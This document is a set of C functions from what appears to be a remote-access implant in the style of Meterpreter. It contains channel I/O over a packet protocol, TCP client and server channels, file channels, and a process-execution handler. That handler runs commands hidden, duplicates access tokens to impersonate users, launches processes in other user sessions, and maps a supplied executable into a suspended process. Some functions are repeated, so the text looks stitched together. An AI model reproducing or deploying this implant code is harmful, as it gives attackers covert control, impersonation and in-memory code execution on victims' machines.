/* * Write to the remote end of the channel */ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { // Allocate a request packet if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Add the channel identifier and the length to write packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlvs(request, addend, addendLength); if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); if (completionRoutine) { dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * Allocates a streaming TCP channel * * TLVs: * * req: TLV_TYPE_HOST_NAME - The host to connect to * req: TLV_TYPE_PORT - The port to connect to */ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) { Channel *channel = NULL; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; LPCSTR host; DWORD port; do { // No response packet? if (!response) break; // Extract the hostname and port that we are to connect to host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); // Open the TCP channel if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel)) != ERROR_SUCCESS) break; // Set the channel's identifier on the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); } while (0); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * core_channel_open * ----------------- * * Opens a channel with the remote endpoint. The response handler for this * request will establish the relationship on the other side. * * opt: TLV_TYPE_CHANNEL_TYPE * The channel type to allocate. If set, the function returns, allowing * a further up extension handler to allocate the channel. */ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) { Packet *response; DWORD res = ERROR_SUCCESS; Channel *newChannel; PCHAR channelType; DWORD flags = 0; do { dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); // If the channel open request had a specific channel type if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) { res = ERROR_NOT_FOUND; break; } // Get any flags that were supplied flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); // Allocate a response response = packet_create_response(packet); // Did the response allocation fail? if ((!response) || (!(newChannel = channel_create(0, flags)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); // Get the channel class and set it newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); // Add the new channel identifier to the response if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel))) != ERROR_SUCCESS) break; // Transmit the response dprintf( "[CHANNEL] Sending response for %s", channelType ); res = PACKET_TRANSMIT(remote, response, NULL); dprintf( "[CHANNEL] Done" ); } while (0); return res; }
/* * Set the interactive channel for input/output overriding */ VOID console_set_interactive_channel(Remote *remote, Channel *channel) { // If an interactive channel is use, unset the interactive flag if (interactiveChannel) channel_interact(interactiveChannel, remote, NULL, 0, FALSE, NULL); interactiveChannel = channel; interactiveChannelId = (channel) ? channel_get_id(channel) : 0; }
/* * Interact with a given channel such that data on the remote end is * forwarded in real time rather than being polled. */ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; LPCSTR method = "core_channel_interact"; DWORD res = ERROR_SUCCESS; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Add the channel identifier packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); // Add the enable/disable boolean packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; LPCSTR method = "core_channel_interact"; DWORD res = ERROR_SUCCESS; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlvs(request, addend, addendLength); if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); if (completionRoutine) { dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * Write the supplied buffer to the remote endpoint of the channel. * * This will cause the passed buffer to be written in channel->ops.buffered on the * remote endpoint. */ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten) { Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, "core_channel_write"); DWORD res = ERROR_SUCCESS; Tlv entries[2]; DWORD idNbo; do { // Did the allocation fail? if (!request) { res = ERROR_NOT_ENOUGH_MEMORY; break; } idNbo = htonl(channel_get_id(channel)); entries[0].header.type = TLV_TYPE_CHANNEL_ID; entries[0].header.length = sizeof(DWORD); entries[0].buffer = (PUCHAR)&idNbo; // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; else entries[1].header.type = TLV_TYPE_CHANNEL_DATA; entries[1].header.length = chunkLength; entries[1].buffer = chunk; // Add the TLV data if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) break; // Transmit the packet res = packet_transmit(remote, request, NULL); } while (0); return res; }
/* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; ProcessChannelContext * ctx = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) { break; } // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if (flags & PROCESS_EXECUTE_FLAG_DESKTOP) { do { cpDesktop = (char *)malloc(512); if (!cpDesktop) break; memset(cpDesktop, 0, 512); lock_acquire(remote->lock); _snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name); lock_release(remote->lock); si.lpDesktop = cpDesktop; } while (0); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { size_t commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) { commandLine = path; } else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations dprintf("[PROCESS] context address 0x%p", ctx); chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->thread_token) { token = remote->thread_token; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); } dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if (NULL != hUserEnvLib) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock"); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock"); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi)) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; size_t size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if (result == ERROR_PRIVILEGE_NOT_HELD) { do { hAdvapi32 = LoadLibrary("advapi32.dll"); if (!hAdvapi32) { break; } pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW"); if (!pCreateProcessWithTokenW) { break; } // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs(NULL, commandLine, 0); if (size == (size_t)-1) { break; } wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wcmdline, commandLine, size); if (si.lpDesktop) { size = mbstowcs(NULL, (char *)si.lpDesktop, 0); if (size != (size_t)-1) { wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); mbstowcs(wdesktop, (char *)si.lpDesktop, size); si.lpDesktop = (LPSTR)wdesktop; } } if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi)) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while (0); if (hAdvapi32) { FreeLibrary(hAdvapi32); } SAFE_FREE(wdesktop); SAFE_FREE(wcmdline); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if (lpfnDestroyEnvironmentBlock && pEnvironment) { lpfnDestroyEnvironmentBlock(pEnvironment); } if (NULL != hUserEnvLib) { FreeLibrary(hUserEnvLib); } } else if (flags & PROCESS_EXECUTE_FLAG_SESSION) { typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA("wtsapi32.dll"); session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) { if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed"); } } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken"); if (!pWTSQueryUserToken) { BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed"); } if (!pWTSQueryUserToken(session, &hToken)) { BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed"); } if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed"); } } } while (0); if (hWtsapi32) { FreeLibrary(hWtsapi32); } if (hToken) { CloseHandle(hToken); } result = dwResult; if (result != ERROR_SUCCESS) { break; } } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if (result == ERROR_SUCCESS) { // if we managed to successfully create a channelized process, we need to retain // a handle to it so that we can shut it down externally if required. if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED && ctx != NULL) { dprintf("[PROCESS] started process 0x%x", pi.hProcess); ctx->pProcess = pi.hProcess; } // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) { CloseHandle(in[0]); } if (out[1]) { CloseHandle(out[1]); } // Free the command line if necessary if (path && arguments && commandLine) { free(commandLine); } if (cpDesktop) { free(cpDesktop); } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Allocates a streaming TCP server channel. * @param remote Pointer to the remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Opening the server channel completed successfully. */ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; TcpServerContext * ctx = NULL; Packet * response = NULL; char * localHost = NULL; StreamChannelOps chops = { 0 }; USHORT localPort = 0; BOOL v4Fallback = FALSE; do { response = packet_create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); } ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext)); if (!ctx) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(ctx, 0, sizeof(TcpServerContext)); ctx->remote = remote; localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); if (!localPort) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE); } localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) { v4Fallback = TRUE; } else { int no = 0; if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) { // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common // so instead, we'll just revert back to v4 and listen on that one address instead. closesocket(ctx->fd); v4Fallback = TRUE; } } struct sockaddr_in6 sockAddr = { 0 }; DWORD sockAddrSize = 0; if (v4Fallback) { struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost); v4Addr->sin_family = AF_INET; v4Addr->sin_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in); } else { // TODO: add IPv6 address binding support sockAddr.sin6_addr = in6addr_any; sockAddr.sin6_family = AF_INET6; sockAddr.sin6_port = htons(localPort); sockAddrSize = sizeof(struct sockaddr_in6); } if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed"); } if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed"); } ctx->notify = WSACreateEvent(); if (ctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed"); } if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed"); } ctx->ipv6 = !v4Fallback; memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = ctx; chops.native.close = tcp_channel_server_close; ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); } while (0); packet_transmit_response(dwResult, remote, response); do { if (dwResult == ERROR_SUCCESS) { break; } dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); if (!ctx) { break; } if (ctx->fd) { dprintf("[TCP-SERVER] Destroying socket"); closesocket(ctx->fd); } if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); channel_destroy(ctx->channel, packet); } free(ctx); } while (0); return dwResult; }
/*! * @brief Notify routine for a tcp server channel to pick up its new client connections.. * @param remote Pointer to the remote instance. * @param serverCtx Pointer to the TCP server context. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Notification completed successfully. */ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext* clientctx = NULL; Packet* request = NULL; SOCKADDR_IN6 clientaddr = { 0 }; SOCKADDR_IN6 serveraddr = { 0 }; SOCKET sock = 0; DWORD size = 0; char* localhost = NULL; char* peerhost = NULL; int localport = 0; int peerport = 0; do { if (!serverCtx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); } ResetEvent(serverCtx->notify); size = sizeof(SOCKADDR_IN6); sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size); if (sock == INVALID_SOCKET) { if (WSAGetLastError() == WSAEWOULDBLOCK) { Sleep(100); break; } BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); } dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock); clientctx = tcp_channel_server_create_client(serverCtx, sock); if (!clientctx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE); } size = sizeof(SOCKADDR_IN6); if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed"); } if (!serverCtx->ipv6) { localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr); } if (!localhost) { localhost = ""; } localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port); if (!serverCtx->ipv6) { peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr); } if (!peerhost) { peerhost = ""; } peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port); dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); if (!request) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE); } packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel)); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel)); packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL); } while (0); return dwResult; }
/* * Handles the open request for a file channel and returns a valid channel * identifier to the requestor if the file is opened successfully */ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) { Packet *response = NULL; PCHAR filePath, mode; DWORD res = ERROR_SUCCESS; DWORD flags = 0; Channel *newChannel = NULL; PoolChannelOps chops = { 0 }; FileContext *ctx; LPSTR expandedFilePath = NULL; do { // Allocate a response response = packet_create_response(packet); // Get the channel flags flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = (FileContext *)malloc(sizeof(FileContext)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the file path and the mode filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); // No file path? bogus. if (!filePath) { res = ERROR_INVALID_PARAMETER; break; } // Expand the file path if (!(expandedFilePath = fs_expand_path(filePath))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } if (!mode) mode = "rb"; // Invalid file? if (!(ctx->fd = fopen(expandedFilePath, mode))) { res = GetLastError(); break; } memset(&chops, 0, sizeof(chops)); // Initialize the pool operation handlers chops.native.context = ctx; chops.native.write = file_channel_write; chops.native.close = file_channel_close; chops.read = file_channel_read; chops.eof = file_channel_eof; chops.seek = file_channel_seek; chops.tell = file_channel_tell; // Check the response allocation & allocate a un-connected // channel if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the channel identifier to the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); } while (0); // Transmit the packet if it's valid packet_transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) channel_destroy(newChannel, NULL); if (ctx) free(ctx); } // Free the expanded file path if it was allocated if (expandedFilePath) free(expandedFilePath); return res; }
